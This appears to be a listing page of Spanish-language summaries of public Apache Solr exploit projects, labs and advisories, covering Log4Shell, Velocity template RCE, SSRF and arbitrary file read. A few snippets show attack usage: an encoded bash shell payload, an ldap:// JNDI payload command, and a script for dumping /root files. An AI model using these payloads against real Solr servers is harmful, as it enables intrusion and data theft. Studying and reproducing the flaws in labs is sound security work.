Solr-GRAB

Solr-GRAB Roba consultas de instancias de Apache Solr con o sin nombre de usuario y contraseña. DESCARGO DE RESPONSABILIDAD : Este proyecto debe usarse solo para pruebas autorizadas y fines educativos. Descarga git clone https://github.com/GnosticPlayers/Solr-GRAB Uso Puedes buscar instancias de...

solr_rce

Apache Solr RCE a través de la plantilla Velocity uso de python: python solrrce.py http://x.x.x.x:8983 command payload codificado para getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introducción a Solr Solr es la plataforma de...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 en Apache Solr Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr. El Entorno Objetivo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ejecutando una versión vulnerable de Log4j. Atacante kali-lab: Contenedor Kali...

Apache Solr - Host Environment Variables Leak via Metrics API

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr. The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to wor...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template Enlace de referencia Causa de la vulnerabilidad: 1. Cuando un atacante puede acceder directamente a la consola de Solr, puede modificar el archivo de configuración del nodo enviando una solicitud POST similar a /nombredelnodo/config. 2. Apache Solr integra po...

Apache-Solr-Arbitrary-File-Read

Apache Solr Lectura Arbitraria de Archivos Hit Counter Apache Solr por sus siglas en inglés de Searching On Lucene with Replication es un motor de búsqueda gratuito y de código abierto basado en la librería Apache Lucene. Está escrito en Java. Apache Solr dispone de APIs RESTful XML/HTTP y JSON y...

CVE-2021-27905

CVE-2021-27905 No.| Título ---|--- 1| Resumen 2| Causa raíz 3| Prueba de concepto 4| Mitigación 8.8.2+ 5| Referencia Para fines educativos y de investigación únicamente. No utilices este código en sistemas que no poseas o para los que no tengas permiso explícito de prueba. No soy responsable de...

CVE-2026-22444

CVE-2026-22444 Vulnerabilidad de Validación de Rutas UNC en Apache Solr Resumen Esta vulnerabilidad fue descubierta y reportada a Apache en 2025. Afecta la funcionalidad de creación de núcleos cores de Apache Solr, donde el acceso de red a rutas UNC ocurre antes de que se realicen las...

CVE-2026-22444

CVE-2026-22444 Vulnerabilidad de Validación de Rutas UNC en Apache Solr Resumen CVE-2026-22444 es una vulnerabilidad de seguridad que afecta a Apache Solr, divulgada públicamente alrededor del 20 de enero de 2026. La vulnerabilidad se origina por una validación insuficiente de entrada CWE-20:...

Solr-RCE-CVE-2019-0192

Solr-RCE-CVE-2019-0192 Ejecución remota de código en Apache Solr mediante dataImportHandler Versión de Solr objetivo: 1.3 – 8.2 Requisitos: DataImportHandler debe estar habilitado, lo cual no ocurre por defecto. Lo he probado en la versión 6.2 python python solrRCE.py...

Solr-SSRF

Solr-SSRF Apache Solr SSRF Uso - Vulnerabilidad Apache Solr SSRF CVE-2021-27905 - Opciones: -h or --help : Descripción del método -u or --url : URL del sitio -d or --dnslog : DnsLog ej. python3 CVE-2021-27905.py -u URL -d dnslog...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell: Registro completo de la reproducción de la vulnerabilidad Este registro se basa en el laboratorio Apache Solr 8.11.0 proporcionado por Vulhub, reproduce por completo la vulnerabilidad de inyección JNDI de Log4j2 y verifica la existencia de la vulnerabilidad mediante DNSL...

CVE-2021-27905.POC

CVE-2021-27905.POC POC para LFI relacionado con CVE-2021-27905 POC para apache-solr-file-read plantilla de nuclei Uso traverse.sh path Por ejemplo, usando /root como ruta, mostrará el contenido de todos los archivos recursivamente ./traverse.sh /root También es posible recorrer y obtener el...

CVE-2026-83557 vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...

GHSA-WJGM-6HV5-3CVF vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...

GHSA-GX83-3VF8-GH7J vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...

CVE-2026-19032 vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...

CVE-2026-68497 vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...

GHSA-Q4XH-88C3-WMH7 vulnerabilities

Vulnerabilities for packages: apache-tika, dependency-track, strimzi-kafka-oauth, cassandra, flyway, trino, gradle, scala, ruby4.0-jrjackson, wildfly, zipkin, kafka, ruby3.4-jrjackson, infinispan, strimzi-kafka-operator, cassandra-reaper, spdx-tools-java, opensearch, akhq, keycloak-config-cli,...